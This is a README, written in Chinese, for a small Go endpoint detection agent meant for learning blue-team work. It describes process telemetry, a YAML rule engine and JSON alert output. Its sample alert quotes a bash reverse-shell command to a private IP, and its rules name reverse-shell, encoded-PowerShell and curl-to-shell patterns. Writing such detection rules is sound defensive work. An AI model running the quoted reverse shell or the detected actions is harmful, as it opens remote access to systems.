forgehk/darkforge-edr

GitHub: forgehk/darkforge-edr

一个用于学习 EDR 内部机制的轻量级端点检测代理。

Stars: 0 | Forks: 0

# darkforge-edr [![Go](https://img.shields.io/badge/Go-1.22+-00ADD8.svg)]() [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) ## 功能介绍 `darkforge-edr` 是一个小型、可自由修改的端点检测代理,设计为蓝队/检测工程概念的学习沙盒: - **进程遥测** —— 轮询运行中的进程,发出创建/退出事件。 - **规则引擎** —— YAML 规则根据进程名称、命令行和父子链进行匹配。 - **警报输出** —— 默认将 JSON-lines 写入磁盘,可选 POST 到 HTTP 收集器。 - **精简二进制** —— 单个 Go 可执行文件,无运行时依赖,以非 root 守护进程运行,提供基线视图。 其目的不是与 CrowdStrike 竞争。而是以几百行代码让你能一口气读完,走一遍 EDR 的*剖析*流程——收集器 → 规则集 → 警报流水线。由于每一层都可检查,对于 SOC/蓝队面试很有用。 ## 快速开始 ``` go install github.com/forgehk/darkforge-edr/cmd/dfedr@latest # 使用默认的 rulepack 运行 dfedr run # 使用自定义的 rulepack 运行并将告警写入 alerts.jsonl dfedr run --rules ./rules.yaml --out ./alerts.jsonl # 在另一个终端查看告警 tail -f alerts.jsonl | jq . ``` 示例警报(每行一条,JSON 格式): ``` { "ts": "2026-05-17T07:42:11Z", "rule": "suspicious_shell_spawn", "severity": "high", "pid": 12031, "ppid": 1248, "name": "bash", "cmdline": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1", "host": "myhost", "tags": ["reverse-shell", "mitre:T1059"] } ``` ## 规则包格式 规则以 YAML 存储,匹配所观察进程的字段。每条规则: ``` rules: - name: suspicious_shell_spawn severity: high when: name: ["bash", "sh", "zsh", "ksh"] cmdline_contains: ["/dev/tcp/", "nc -e", "ncat -e", "0>&1"] tags: ["reverse-shell", "mitre:T1059"] - name: powershell_encoded_command severity: high when: name: ["powershell.exe", "pwsh.exe"] cmdline_regex: '(?i)(-e(c|nc|ncodedcommand)\\s+[A-Za-z0-9+/=]{20,})' tags: ["t1059.001", "obfuscated-command"] - name: living_off_the_land_curl severity: medium when: name: ["curl", "wget"] cmdline_contains: ["|sh", "|bash", "|python"] tags: ["lolbin", "mitre:T1105"] - name: scheduled_task_recon severity: low when: name: ["crontab", "at", "schtasks.exe"] cmdline_contains: ["-l", "/query"] tags: ["mitre:T1053"] ``` 匹配语义: - `name`:精确匹配进程基本名称(列表中任一匹配即通过)。 - `cmdline_contains`:列表中任一子字符串匹配即通过。 - `cmdline_regex`:至少一个正则表达式必须匹配(Go RE2 语法)。 - `when` 内的所有条件为 AND 关系;若存在多个列表式条件,每个条件要求至少一个匹配项。 ## 架构 ``` ┌──────────────────────────┐ │ process collector │ → /proc on Linux, ps fallback on macOS, │ (poll every 1s) │ Win32 toolhelp on Windows. └────────────┬─────────────┘ │ events: process_create, process_exit ▼ ┌──────────────────────────┐ │ rule engine │ ← rules.yaml │ name / cmdline / regex │ └────────────┬─────────────┘ │ matched events ▼ ┌──────────────────────────┐ │ alert sink │ → JSON-lines file, optional HTTP collector └──────────────────────────┘ ``` 每一层都是一个带有小型接口的 Go 包,因此更换收集器或输出器只需修改一个文件。 ## 构建与测试 ``` git clone https://github.com/forgehk/darkforge-edr cd darkforge-edr go build ./cmd/dfedr go test ./... ``` 为其他操作系统交叉编译: ``` GOOS=linux GOARCH=amd64 go build -o dist/dfedr-linux-amd64 ./cmd/dfedr GOOS=darwin GOARCH=arm64 go build -o dist/dfedr-darwin-arm64 ./cmd/dfedr ``` ## 为什么构建这个项目 我想理解 EDR 内部*究竟*有什么,而不只是阅读厂商数据表。这个代理就是结果——一个清晰、可读的脚手架,未来我可以逐步添加新的收集器(文件事件、网络连接、通过 eBPF 的系统调用)。 它也是 **SOC / 蓝队** 职位的一个不错的面试展示品,因为每个部分都小到足以逐行讲解。 ## 发展路线图 - [x] 基于 /proc 的进程收集器(Linux) - [x] YAML 规则引擎,支持名称/命令行/正则匹配 - [x] JSON-lines 警报输出 - [x] MITRE ATT&CK 映射的标签系统 - [ ] 文件创建/修改收集器(Linux 上使用 fanotify) - [ ] 网络连接收集器 - [ ] eBPF 系统调用钩子 - [ ] macOS / Windows 进程收集器 - [ ] Web 仪表板(Next.js,位于独立代码库) - [ ] 通过 GitHub Actions 进行签名发布 ## 许可证 [MIT](LICENSE) *由 [@forgehk](https://github.com/forgehk) 构建 — [DarkForge AI](https://darkforgeai.com)*
标签:Cloudflare, EVTX分析, HTTP收集器, JSON-lines警报, MITRE ATT&CK, YAML规则引擎, 命令行分析, 安全学习工具, 日志审计, 正则表达式匹配, 端点检测, 蓝队检测, 警报系统, 轻量级安全代理, 进程创建事件, 进程遥测